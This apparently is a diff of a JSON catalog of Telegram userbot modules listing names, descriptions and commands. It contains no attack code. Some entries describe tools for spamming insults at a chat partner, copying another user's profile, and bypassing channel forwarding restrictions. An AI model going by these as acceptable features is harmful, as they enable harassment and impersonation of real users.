"https://te.legra.ph/file/d3f0f14e90ce2f82d8f1f.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "dme": "{-h} - Open details for donations {-h} - Открыть реквизиты для донатов" - } - ], - "new_commands": [ - { - "dme": { - "ru_doc": "{-h} - Открыть реквизиты для донатов", - "en_doc": null, - "doc": "{-h} - Open details for donations" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/BanWord.py": { - "name": "BanWordMod", - "description": "Модуль для управления запрещёнными словами в чате.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/926b74bc3235fb03433ea.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "bwadd": "Adds a banned word. Добавляет запрещённое слово." - }, - { - "bwdel": "Removes a banned word. Удаляет запрещённое слово." - }, - { - "bwon": "Enables banwords in chat. Включает банворды в чате." - }, - { - "bwoff": "Disable banword in chat. Отключает банворды в чате." - }, - { - "bword": "Sets the action when a prohibited word is found (kick, mute, delete). Устанавливает действие при нахождении запрещённого слова (kick, mute, delete)." - }, - { - "bwlist": "Displays a list of prohibited words. Выводит список запрещённых слов." - } - ], - "new_commands": [ - { - "bwadd": { - "ru_doc": "Добавляет запрещённое слово.", - "en_doc": null, - "doc": "Adds a banned word." - } - }, - { - "bwdel": { - "ru_doc": "Удаляет запрещённое слово.", - "en_doc": null, - "doc": "Removes a banned word." - } - }, - { - "bwon": { - "ru_doc": "Включает банворды в чате.", - "en_doc": null, - "doc": "Enables banwords in chat." - } - }, - { - "bwoff": { - "ru_doc": "Отключает банворды в чате.", - "en_doc": null, - "doc": "Disable banword in chat." - } - }, - { - "bword": { - "ru_doc": "Устанавливает действие при нахождении запрещённого слова (kick, mute, delete).", - "en_doc": null, - "doc": "Sets the action when a prohibited word is found (kick, mute, delete)." - } - }, - { - "bwlist": { - "ru_doc": "Выводит список запрещённых слов.", - "en_doc": null, - "doc": "Displays a list of prohibited words." - } - } - ], - "category": [ - "Chat", - "Customization" - ] - }, - "KorenbZla/HikkaModules/HerokuAuroraFeedBack.py": { - "name": "AuroraFeedBackMod", - "description": "Multifunctional feedback bot.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/05a519da50f993b950260.jpg", - "developer": "@AuroraModules & @nercymods" - }, - "commands": [ - { - "flink": "- Get a link to the feedback bot - Получить ссылку на feedback бота" - }, - { - "banfeedback": "[UserID] - Block the feedback bot user [UserID] - Заблокировать пользователю feedback бота" - }, - { - "unbanfeedback": "[UserID] - Unblock the feedback bot user [UserID] - Разблокировать пользователю feedback бота" - } - ], - "new_commands": [ - { - "flink": { - "ru_doc": "- Получить ссылку на feedback бота", - "en_doc": null, - "doc": "- Get a link to the feedback bot" - } - }, - { - "banfeedback": { - "ru_doc": "[UserID] - Заблокировать пользователю feedback бота", - "en_doc": null, - "doc": "[UserID] - Block the feedback bot user" - } - }, - { - "unbanfeedback": { - "ru_doc": "[UserID] - Разблокировать пользователю feedback бота", - "en_doc": null, - "doc": "[UserID] - Unblock the feedback bot user" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/AutoFarmUniversal.py": { - "name": "AutoFarmUniversalMod", - "description": "Universal auto farmer with settings in the config", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/77e64e3d33263a669125f.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "ufarm": "{on/off} - turn auto farm on or off {on/off} - включить или выключить автоматическую фарминг" - } - ], - "new_commands": [ - { - "ufarm": { - "ru_doc": "{on/off} - включить или выключить автоматическую фарминг", - "en_doc": null, - "doc": "{on/off} - turn auto farm on or off" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KorenbZla/HikkaModules/AuroraBull.py": { - "name": "AuroraBullMod", - "description": "Module for insults, make the interlocutor depressed.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/7612b5506856c1eb34c56.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "abull": "Insult your interlocutor Оскорбите вашего собеседника." - }, - { - "abullspam": "[time] [text] - Spam your interlocutor with insults [time] [text] - Заспамте оскорблениями вашего собеседника" - }, - { - "abulloff": "Stop the insults Остановить оскорбления" - } - ], - "new_commands": [ - { - "abull": { - "ru_doc": "Оскорбите вашего собеседника.", - "en_doc": null, - "doc": "Insult your interlocutor" - } - }, - { - "abullspam": { - "ru_doc": "[time] [text] - Заспамте оскорблениями вашего собеседника", - "en_doc": null, - "doc": "[time] [text] - Spam your interlocutor with insults" - } - }, - { - "abulloff": { - "ru_doc": "Остановить оскорбления", - "en_doc": null, - "doc": "Stop the insults" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/HistoryFacts.py": { - "name": "HistoryFactMod", - "description": "Get a random historical fact", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/388d6138470f2036d08ed.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "rfact": "Output a random historical fact Вывод случайного исторического факта" - }, - { - "hfact": "To deduce a random fact about Adolf Hitler Вывод случайного факта об Адольфе Гитлере" - }, - { - "mfact": "To deduce a random fact about Benito Mussolini Вывести случайный факт о Бенито Муссолини" - }, - { - "sfact": "To deduce a random fact about Joseph Stalin Вывести случайный факт о Иосифе Сталине" - } - ], - "new_commands": [ - { - "rfact": { - "ru_doc": "Вывод случайного исторического факта", - "en_doc": null, - "doc": "Output a random historical fact" - } - }, - { - "hfact": { - "ru_doc": "Вывод случайного факта об Адольфе Гитлере", - "en_doc": null, - "doc": "To deduce a random fact about Adolf Hitler" - } - }, - { - "mfact": { - "ru_doc": "Вывести случайный факт о Бенито Муссолини", - "en_doc": null, - "doc": "To deduce a random fact about Benito Mussolini" - } - }, - { - "sfact": { - "ru_doc": "Вывести случайный факт о Иосифе Сталине", - "en_doc": null, - "doc": "To deduce a random fact about Joseph Stalin" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/counttime.py": { - "name": "CountTimeModule", - "description": "Модуль для отслеживания времени до разных событий, ВРЕМЯ может быть неправильное, потому что у вас на сервере такое время. На Termux время правильное...", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "nytime": "Показывает время до нового года" - }, - { - "wintertime": "Показывает время до зимы" - }, - { - "springtime": "Показывает время до весны" - }, - { - "summertime": "Показывает время до лета" - }, - { - "autumntime": "Показывает время до осени" - } - ], - "new_commands": [ - { - "nytime": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает время до нового года" - } - }, - { - "wintertime": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает время до зимы" - } - }, - { - "springtime": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает время до весны" - } - }, - { - "summertime": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает время до лета" - } - }, - { - "autumntime": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает время до осени" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/ytsearch.py": { - "name": "YouTubeSearchMod", - "description": "Module for searching videos on YouTube", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/84JDV0z/29a858b1-0c80-4c88-8042-9d7622ebc7f9.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "ytsearch": "Поиск видео на YouTube. Использование: .ytsearch <запрос> Search for videos on YouTube. Usage: .ytsearch <query>" - } - ], - "new_commands": [ - { - "ytsearch": { - "ru_doc": "Поиск видео на YouTube. Использование: .ytsearch <запрос>", - "en_doc": "Search for videos on YouTube. Usage: .ytsearch <query>", - "doc": null - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "TheKsenon/MyHikkaModules/copyuser.py": { - "name": "ProfileToolsModule", - "description": "Copy profile data from any user", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/515XxY1/e3583b3c-434a-49fc-b532-cc70a3b5eccc.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "copyuser": "Скопировать профиль пользователя (работает по reply/@username/ID) Copy user profile (works with reply/@username/ID)" - }, - { - "backupme": "Создать резервную копию вашего профиля Create backup of your profile" - }, - { - "restoreme": "Восстановить профиль из резервной копии Restore profile from backup" - } - ], - "new_commands": [ - { - "copyuser": { - "ru_doc": "Скопировать профиль пользователя (работает по reply/@username/ID)", - "en_doc": "Copy user profile (works with reply/@username/ID)", - "doc": null - } - }, - { - "backupme": { - "ru_doc": "Создать резервную копию вашего профиля", - "en_doc": "Create backup of your profile", - "doc": null - } - }, - { - "restoreme": { - "ru_doc": "Восстановить профиль из резервной копии", - "en_doc": "Restore profile from backup", - "doc": null - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "TheKsenon/MyHikkaModules/wikisearch.py": { - "name": "WikiSearchMod", - "description": "Поиск информации в Википедии", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "wksearch": "Поиск в Википедии - .wksearch <запрос>" - } - ], - "new_commands": [ - { - "wksearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск в Википедии - .wksearch <запрос>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/ksenonafk.py": { - "name": "KsenonAFKMod", - "description": "Универсальный AFK модуль с поддержкой кастом сообщения и премиум статуса.", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/gy5xbPd/d4be263e-63b5-42e1-ac2b-0dac067b0623.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "afk": "[reason] [time] - Set AFK mode status [причина] [время] - Установить режим AFK" - }, - { - "unafk": "Exit AFK mode Выйти из режима AFK" - }, - { - "ignorusers": "<count> <minutes> - Set message limit per chat <кол-во> <минуты> - Установить ограничение сообщений в чате" - }, - { - "timeafk": "<minutes> <max_msgs> - Set time-based message limits <минуты> <макс.сообщений> - Установить временной лимит сообщений" - } - ], - "new_commands": [ - { - "afk": { - "ru_doc": "[причина] [время] - Установить режим AFK", - "en_doc": null, - "doc": "[reason] [time] - Set AFK mode status" - } - }, - { - "unafk": { - "ru_doc": "Выйти из режима AFK", - "en_doc": null, - "doc": "Exit AFK mode" - } - }, - { - "ignorusers": { - "ru_doc": "<кол-во> <минуты> - Установить ограничение сообщений в чате", - "en_doc": null, - "doc": "<count> <minutes> - Set message limit per chat" - } - }, - { - "timeafk": { - "ru_doc": "<минуты> <макс.сообщений> - Установить временной лимит сообщений", - "en_doc": null, - "doc": "<minutes> <max_msgs> - Set time-based message limits" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "TheKsenon/MyHikkaModules/ksenongpt.py": { - "name": "KsenonGPTMod", - "description": "KsenonGPT module for text and image generation using KsenonAPI", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "setmodelcmd": "Set default AI model for text generation" - }, - { - "gentextcmd": "Generate text - .gentext <prompt>" - }, - { - "genimgcmd": "Generate image - .genimg <prompt> <model>" - }, - { - "txtmodelscmd": "List of text models" - }, - { - "imgmodelscmd": "List of image models" - }, - { - "kupdatecmd": "Check for updates" - } - ], - "new_commands": [ - { - "setmodel": { - "ru_doc": null, - "en_doc": null, - "doc": "Set default AI model for text generation" - } - }, - { - "gentext": { - "ru_doc": null, - "en_doc": null, - "doc": "Generate text - .gentext <prompt>" - } - }, - { - "genimg": { - "ru_doc": null, - "en_doc": null, - "doc": "Generate image - .genimg <prompt> <model>" - } - }, - { - "txtmodels": { - "ru_doc": null, - "en_doc": null, - "doc": "List of text models" - } - }, - { - "imgmodels": { - "ru_doc": null, - "en_doc": null, - "doc": "List of image models" - } - }, - { - "kupdate": { - "ru_doc": null, - "en_doc": null, - "doc": "Check for updates" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/kuploader.py": { - "name": "UploaderMod", - "description": "Module for uploading files to various file hosting services", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "catboxcmd": "Upload file to catbox.moe" - }, - { - "envscmd": "Upload file to envs.sh" - }, - { - "kappacmd": "Upload file to kappa.lol" - }, - { - "oxocmd": "Upload file to 0x0.st" - }, - { - "x0cmd": "Upload file to x0.at" - }, - { - "tmpfilescmd": "Upload file to tmpfiles.org" - }, - { - "pomfcmd": "Upload file to pomf.lain.la" - }, - { - "bashcmd": "Upload file to bashupload.com" - } - ], - "new_commands": [ - { - "catbox": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to catbox.moe" - } - }, - { - "envs": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to envs.sh" - } - }, - { - "kappa": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to kappa.lol" - } - }, - { - "oxo": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to 0x0.st" - } - }, - { - "x0": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to x0.at" - } - }, - { - "tmpfiles": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to tmpfiles.org" - } - }, - { - "pomf": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to pomf.lain.la" - } - }, - { - "bash": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload file to bashupload.com" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "TheKsenon/MyHikkaModules/audio2text.py": { - "name": "Audio2TextMod", - "description": "Module for speech-to-text conversion", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/7k4sJRR/5ad271ae-ec1b-4803-a714-5d6628ee8f50.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "audio2text": "Преобразовать аудио в текст (ответом на аудиосообщение) Convert audio to text (reply to voice message)" - } - ], - "new_commands": [ - { - "audio2text": { - "ru_doc": "Преобразовать аудио в текст (ответом на аудиосообщение)", - "en_doc": "Convert audio to text (reply to voice message)", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/kcustominfo.py": { - "name": "CustomInfoMod", - "description": "Улучшенная информация о юзерботе - ping, и т.д.", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "cinfo": "Показать информацию о юзерботе" - }, - { - "setcinfo": "Установить кастомный текст информации: .setcinfo <текст>" - } - ], - "new_commands": [ - { - "cinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Показать информацию о юзерботе" - } - }, - { - "setcinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Установить кастомный текст информации: .setcinfo <текст>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/text2speech.py": { - "name": "Text2SpeechMod", - "description": "Module for converting text to speech", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/Q6syvcG/5da73c45-b14f-4fe5-a8b6-85fc32a4b6c0.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "text2speech": "Преобразовать текст в речь (использование: .text2speech <текст> <alex/sophia>) Convert text to speech (usage: .text2speech <text> <alex/sophia>)" - }, - { - "t2s": "Алиас команды .text2speech (использование: .t2s <текст> <alex/sophia>) Alias for .text2speech command (usage: .t2s <text> <alex/sophia>)" - } - ], - "new_commands": [ - { - "text2speech": { - "ru_doc": "Преобразовать текст в речь (использование: .text2speech <текст> <alex/sophia>)", - "en_doc": "Convert text to speech (usage: .text2speech <text> <alex/sophia>)", - "doc": null - } - }, - { - "t2s": { - "ru_doc": "Алиас команды .text2speech (использование: .t2s <текст> <alex/sophia>)", - "en_doc": "Alias for .text2speech command (usage: .t2s <text> <alex/sophia>)", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/krandomuser.py": { - "name": "RandomUserMod", - "description": "Генератор случайных пользовательских данных.", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "randuser": "Сгенерировать случайные данные" - } - ], - "new_commands": [ - { - "randuser": { - "ru_doc": null, - "en_doc": null, - "doc": "Сгенерировать случайные данные" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/zapretheta_limoka.py": { - "name": "PizdaModule", - "description": "люблю программирование🔥🔥 и все что с ним связано😜😜 алгоритмы💕💕😎 рекурсии😍😍😲 переменные😈😈 циклы😆😆🤘 разветвления 💗💗 функции🙇🤤 обычно программирую везде😋дома😎в метро😏в душе☺️и даже ночью🙀🙀это мое хобби 😹😹читаю топ документацию 💗java🍀c++🐈 python💀php🙈c#👹haskell😽смотрю в свое крутое IDE🤠иногда балуюсь с компилятором😎  ищу API которые упростят мне жизнь  🥳если ты не тру программист и не шаришь то не пиши мне ✋✋👎", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Chat", - "Tools" - ] - }, - "TheKsenon/MyHikkaModules/randomfact.py": { - "name": "RandomFactMod", - "description": "Рандомные факты", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "randomfact": "Получить случайный факт" - } - ], - "new_commands": [ - { - "randomfact": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить случайный факт" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "TheKsenon/MyHikkaModules/quizai.py": { - "name": "QuizGameMod", - "description": "Игра-викторина с разными темами и сложностями", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/NsMcJVJ/6116dddf-38f7-4bad-9b69-10c1e3c19fa5.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "quiz": "Начать викторину\nАргументы: -t \"тема\" -d <easy/normal/hard/impossible> -m <stable/fast>\nПример: .quiz -t \"Minecraft\" -d easy -m stable" - } - ], - "new_commands": [ - { - "quiz": { - "ru_doc": null, - "en_doc": null, - "doc": "Начать викторину\nАргументы: -t \"тема\" -d <easy/normal/hard/impossible> -m <stable/fast>\nПример: .quiz -t \"Minecraft\" -d easy -m stable" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/telegraph.py": { - "name": "TelegraphMod", - "description": "Create article using telegra.ph", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "telegraphcmd": "Create article. Use: .telegraph <title> | <description>" - } - ], - "new_commands": [ - { - "telegraph": { - "ru_doc": null, - "en_doc": null, - "doc": "Create article. Use: .telegraph <title> | <description>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/kaccountdata.py": { - "name": "AccountDataMod", - "description": "Получить информацию об аккаунте, дц, дату регистрации.", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "aboutacc": "<username/reply> - Получить информацию об аккаунте <юзернейм/реплай> - Получить информацию об аккаунте <username/reply> - Get account information" - } - ], - "new_commands": [ - { - "aboutacc": { - "ru_doc": "<юзернейм/реплай> - Получить информацию об аккаунте", - "en_doc": "<username/reply> - Get account information", - "doc": "<username/reply> - Получить информацию об аккаунте" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/russianroulette.py": { - "name": "RussianRouletteModule", - "description": "Русская рулетка. Немного ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК.", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "roulettecmd": "Начать игру в русскую рулетку" - } - ], - "new_commands": [ - { - "roulette": { - "ru_doc": null, - "en_doc": null, - "doc": "Начать игру в русскую рулетку" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/github.py": { - "name": "GitHubInfoMod", - "description": "Module for viewing GitHub profile information", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "github": "<username> - получить информацию о профиле GitHub <username> - get GitHub profile information" - } - ], - "new_commands": [ - { - "github": { - "ru_doc": "<username> - получить информацию о профиле GitHub", - "en_doc": "<username> - get GitHub profile information", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/gpmtool.py": { - "name": "GPMToolMod", - "description": "Модуль позволяет пересылать сообщение из канала, где это запрещено.", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "gpm": "<ссылка: https://t.me/канал/номер_поста> Переслать сообщения из канала, где запрещено." - } - ], - "new_commands": [ - { - "gpm": { - "ru_doc": null, - "en_doc": null, - "doc": "<ссылка: https://t.me/канал/номер_поста> Переслать сообщения из канала, где запрещено." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "TheKsenon/MyHikkaModules/kshortlinker.py": { - "name": "ShortLinkerMod", - "description": "Модуль для сокращения ссылок.", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "shortlinkcmd": "Использование: .shortlink <url>" - } - ], - "new_commands": [ - { - "shortlink": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование: .shortlink <url>" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "TheKsenon/MyHikkaModules/obxod.py": { - "name": "OfftopTextMod", - "description": "Обход в оффтопе хикки", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "oftcmd": "Отправить сообщение" - } - ], - "new_commands": [ - { - "oft": { - "ru_doc": null, - "en_doc": null, - "doc": "Отправить сообщение" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/kweather.py": { - "name": "WeatherMod", - "description": "Модуль для просмотра погоды", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "weathercmd": "Использование: .weather <город>" - } - ], - "new_commands": [ - { - "weather": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование: .weather <город>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/genderguesser.py": { - "name": "GenderGuesserMod", - "description": "Узнать примерный гендеор пользователя", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "gender": "Примерный гендер по username/reply\nПример: .gender @username or reply" - }, - { - "gendername": "Примерный гендер по имени.\nПример: .gendername Максим" - } - ], - "new_commands": [ - { - "gender": { - "ru_doc": null, - "en_doc": null, - "doc": "Примерный гендер по username/reply\nПример: .gender @username or reply" - } - }, - { - "gendername": { - "ru_doc": null, - "en_doc": null, - "doc": "Примерный гендер по имени.\nПример: .gendername Максим" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/currency.py": { - "name": "CurrencyMod", - "description": "Get current currency exchange rates", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "rate": "<from> <to> - Get exchange rate" - } - ], - "new_commands": [ - { - "rate": { - "ru_doc": null, - "en_doc": null, - "doc": "<from> <to> - Get exchange rate" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "TheKsenon/MyHikkaModules/howmuch.py": { - "name": "HowMuchMod", - "description": "Модуль для проверки насколько вы ...", - "meta": { - "pic": null, - "banner": null, - "developer": "@kmodules" - }, - "commands": [ - { - "howmuch": "Проверить насколько вы подходите под шаблон" - }, - { - "templates": "Показать список доступных шаблонов" - }, - { - "addtemplate": "Добавить новый шаблон" - }, - { - "deltemplate": "Удалить пользовательский шаблон" - }, - { - "backupts": "Сделать бэкап пользовательских шаблонов" - }, - { - "restorets": "Восстановить шаблоны из бэкапа" - } - ], - "new_commands": [ - { - "howmuch": { - "ru_doc": null, - "en_doc": null, - "doc": "Проверить насколько вы подходите под шаблон" - } - }, - { - "templates": { - "ru_doc": null, - "en_doc": null, - "doc": "Показать список доступных шаблонов" - } - }, - { - "addtemplate": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавить новый шаблон" - } - }, - { - "deltemplate": { - "ru_doc": null, - "en_doc": null, - "doc": "Удалить пользовательский шаблон" - } - }, - { - "backupts": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать бэкап пользовательских шаблонов" - } - }, - { - "restorets": { - "ru_doc": null, - "en_doc": null, - "doc": "Восстановить шаблоны из бэкапа" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "TheKsenon/MyHikkaModules/randommemes.py": { - "name": "RandomMemesModule", - "description": "2 mode random memes.", - "meta": { - "pic": null, - "banner": "https://i.ibb.co/hK4zxP7/6f8d18ef-53d2-42a5-94e5-c0abef97b1bb.jpg", - "developer": "@kmodules" - }, - "commands": [ - { - "rnmeme": "NSFW мемы NSFW memes" - }, - { - "rmeme": "Безопасные мемы Safe memes" - } - ], - "new_commands": [ - { - "rnmeme": { - "ru_doc": "NSFW мемы", - "en_doc": "NSFW memes", - "doc": null - } - }, - { - "rmeme": { - "ru_doc": "Безопасные мемы", - "en_doc": "Safe memes", - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "shadowhikka/sh.modules/NewsLetter.py": { - "name": "NewsLetterMod", - "description": "newsletter for chats", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/Hy9ABNY.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "sendnewscmd": "<message> or reply" - }, - { - "newsdelaycmd": "Delayed mailing and photos" - } - ], - "new_commands": [ - { - "sendnews": { - "ru_doc": null, - "en_doc": null, - "doc": "<message> or reply" - } - }, - { - "newsdelay": { - "ru_doc": null, - "en_doc": null, - "doc": "Delayed mailing and photos" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/MyVizitka.py": { - "name": "MyVizitkaMod", - "description": null, - "meta": { - "pic": null, - "banner": "https://i.imgur.com/4aQGHmR.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "myvizitcmd": "Command for displaying a business card" - } - ], - "new_commands": [ - { - "myvizit": { - "ru_doc": null, - "en_doc": null, - "doc": "Command for displaying a business card" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/VulgarStories.py": { - "name": "VulgarStories", - "description": "VulgarStories", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/GqPSdtT.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "vstorcmd": "Vulgar Stories for geys." - } - ], - "new_commands": [ - { - "vstor": { - "ru_doc": null, - "en_doc": null, - "doc": "Vulgar Stories for geys." - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "shadowhikka/sh.modules/RandomMemes.py": { - "name": "RandomMemesMod", - "description": "RandomMemes", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/nw5hP8P.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "randmemescmd": "See random memes" - } - ], - "new_commands": [ - { - "randmemes": { - "ru_doc": null, - "en_doc": null, - "doc": "See random memes" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/StickerDownload.py": { - "name": "StickerDownloadMod", - "description": "Sticker Downloader", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/1UnAXNf.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "stickdowncmd": "stickdown <reply for sticker>" - } - ], - "new_commands": [ - { - "stickdown": { - "ru_doc": null, - "en_doc": null, - "doc": "stickdown <reply for sticker>" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "shadowhikka/sh.modules/TableInfo.py": { - "name": "TableMod", - "description": "Information in parents", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/GLgp9u1.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "tableaddcmd": "" - } - ], - "new_commands": [ - { - "tableadd": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "shadowhikka/sh.modules/GPT2.py": { - "name": "GPT2Mod", - "description": "ChatGPT в модуле", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/fdEskim.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "gptcmd": ".gpt <args>" - } - ], - "new_commands": [ - { - "gpt": { - "ru_doc": null, - "en_doc": null, - "doc": ".gpt <args>" - } - } - ], - "category": [ - "Info", - "Tools" - ] - }, - "shadowhikka/sh.modules/InlineVizitka.py": { - "name": "InlineVizitkaMod", - "description": "You information in inline vizitka", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/SbLqMlM.jpeg", - "developer": "@shadow_modules, @dan_endy, @hikarimods" - }, - "commands": [ - { - "vizitkacmd": "Command for displaying a business card" - }, - { - "vizinfocmd": "" - } - ], - "new_commands": [ - { - "vizitka": { - "ru_doc": null, - "en_doc": null, - "doc": "Command for displaying a business card" - } - }, - { - "vizinfo": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/CheckerUsernames.py": { - "name": "CheckerUsernamesMod", - "description": "Check of avaliable usernames", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/aGGx93G.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "cusercmd": "Off/On checker username" - }, - { - "timezonescmd": "All timezones for config" - } - ], - "new_commands": [ - { - "cuser": { - "ru_doc": null, - "en_doc": null, - "doc": "Off/On checker username" - } - }, - { - "timezones": { - "ru_doc": null, - "en_doc": null, - "doc": "All timezones for config" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/VKInline.py": { - "name": "VKInlineMod", - "description": "Your vk in inline", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/8prGakZ.jpeg", - "developer": 